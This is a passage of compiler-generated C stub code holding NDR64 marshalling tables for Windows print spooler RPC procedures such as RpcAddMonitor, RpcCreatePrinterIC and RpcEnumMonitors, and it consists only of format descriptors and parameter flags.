*/,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1080,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1081,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag603_t __midl_frag603 =\n{ \n/* MONITOR_INFO_2 */\n    { \n    /* MONITOR_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag602_t __midl_frag602 =\n{ \n/* *MONITOR_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag603\n};\n\nstatic const __midl_frag600_t __midl_frag600 =\n{ \n/* MONITOR_INFO_1 */\n    { \n    /* MONITOR_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag599_t __midl_frag599 =\n{ \n/* *MONITOR_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag600\n};\n\nstatic const __midl_frag598_t __midl_frag598 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag597_t __midl_frag597 =\n{ \n/* __MIDL_winspool_0007 */\n    { \n    /* __MIDL_winspool_0007 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag599,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag602,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag596_t __midl_frag596 =\n{ \n/* MONITOR_CONTAINER */\n    { \n    /* MONITOR_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag597\n        },\n        { \n        /* MONITOR_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag595_t __midl_frag595 =\n{ \n/* *MONITOR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag596\n};\n\nstatic const __midl_frag592_t __midl_frag592 =\n{ \n/* RpcAddMonitor */\n    { \n    /* RpcAddMonitor */      /* procedure RpcAddMonitor */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1080,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorContainer */      /* parameter pMonitorContainer */\n        &__midl_frag596,\n        { \n        /* pMonitorContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag587_t __midl_frag587 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag586_t __midl_frag586 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag587\n};\n\nstatic const __midl_frag585_t __midl_frag585 =\n{ \n/* RpcDeletePrinterIC */\n    { \n    /* RpcDeletePrinterIC */      /* procedure RpcDeletePrinterIC */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinterIC */      /* parameter phPrinterIC */\n        &__midl_frag587,\n        { \n        /* phPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag578_t __midl_frag578 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag654\n};\n\nstatic const __midl_frag575_t __midl_frag575 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag574_t __midl_frag574 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag575\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag573_t __midl_frag573 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag574\n};\n\nstatic const __midl_frag572_t __midl_frag572 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag571_t __midl_frag571 =\n{ \n/* RpcPlayGdiScriptOnPrinterIC */\n    { \n    /* RpcPlayGdiScriptOnPrinterIC */      /* procedure RpcPlayGdiScriptOnPrinterIC */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinterIC */      /* parameter hPrinterIC */\n        &__midl_frag572,\n        { \n        /* hPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pIn */      /* parameter pIn */\n        &__midl_frag574,\n        { \n        /* pIn */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cIn */      /* parameter cIn */\n        &__midl_frag1082,\n        { \n        /* cIn */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pOut */      /* parameter pOut */\n        &__midl_frag654,\n        { \n        /* pOut */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cOut */      /* parameter cOut */\n        &__midl_frag1087,\n        { \n        /* cOut */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ul */      /* parameter ul */\n        &__midl_frag1087,\n        { \n        /* ul */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag568_t __midl_frag568 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 3 /* 0x3 */\n};\n\nstatic const __midl_frag567_t __midl_frag567 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag568\n};\n\nstatic const __midl_frag566_t __midl_frag566 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 2 /* 0x2 */\n};\n\nstatic const __midl_frag565_t __midl_frag565 =\n{ \n/* RpcCreatePrinterIC */\n    { \n    /* RpcCreatePrinterIC */      /* procedure RpcCreatePrinterIC */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag566,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag568,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag562_t __midl_frag562 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag645\n};\n\nstatic const __midl_frag561_t __midl_frag561 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag558_t __midl_frag558 =\n{ \n/* RpcDeletePort */\n    { \n    /* RpcDeletePort */      /* procedure RpcDeletePort */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* hWnd */      /* parameter hWnd */\n        &__midl_frag561,\n        { \n        /* hWnd */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortName */      /* parameter pPortName */\n        &__midl_frag645,\n        { \n        /* pPortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag548_t __midl_frag548 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag547_t __midl_frag547 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag548\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag546_t __midl_frag546 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag547\n};\n\nstatic const __midl_frag542_t __midl_frag542 =\n{ \n/* RpcEnumMonitors */\n    { \n    /* RpcEnumMonitors */      /* procedure RpcEnumMonitors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 